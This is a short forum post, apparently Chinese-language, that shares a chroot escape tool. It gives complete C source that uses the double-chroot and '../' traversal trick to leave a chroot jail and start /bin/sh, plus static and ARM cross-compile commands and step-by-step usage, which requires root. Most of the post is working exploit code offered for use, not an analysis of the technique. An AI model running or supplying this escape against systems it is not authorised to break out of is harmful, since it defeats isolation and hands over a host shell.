chroot逃逸工具

@Ta 06-05 23:09发布,06-06 00:06修改 911点击

在Github上查看:https://github.com/SwimmingTiger/oraykvm/tree/master/chroot%E9%80%83%E9%80%B8%E5%B7%A5%E5%85%B7

unchroot.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    mkdir("/tmp", 0777);
    mkdir("/tmp/unchroot.dir", 0755);
    chroot("/tmp/unchroot.dir");
    chdir("../../../../../../../../../../../../../../../../../../../../../../../../../../..");
    chroot(".");
    system("/bin/sh -l");
    return 0;
}

编译:

gcc -o unchroot -static unchroot.c

交叉编译为32位ARM二进制

arm-linux-gnueabi-gcc -o unchroot -static unchroot.c

unchroot(491.31 KB)

使用

在chroot环境用root身份执行它即可(如果不是root身份,自行加sudo。如果无法切换到root身份,则无法从chroot中逃逸):

chmod +x ./unchroot
./unchroot

应该会离开chroot环境,进入外面的shell。


思路来自 https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2024/05/25/chroot-escape

回复列表(0|隐藏机器人聊天)
帖子没有回复
添加新回复
回复需要登录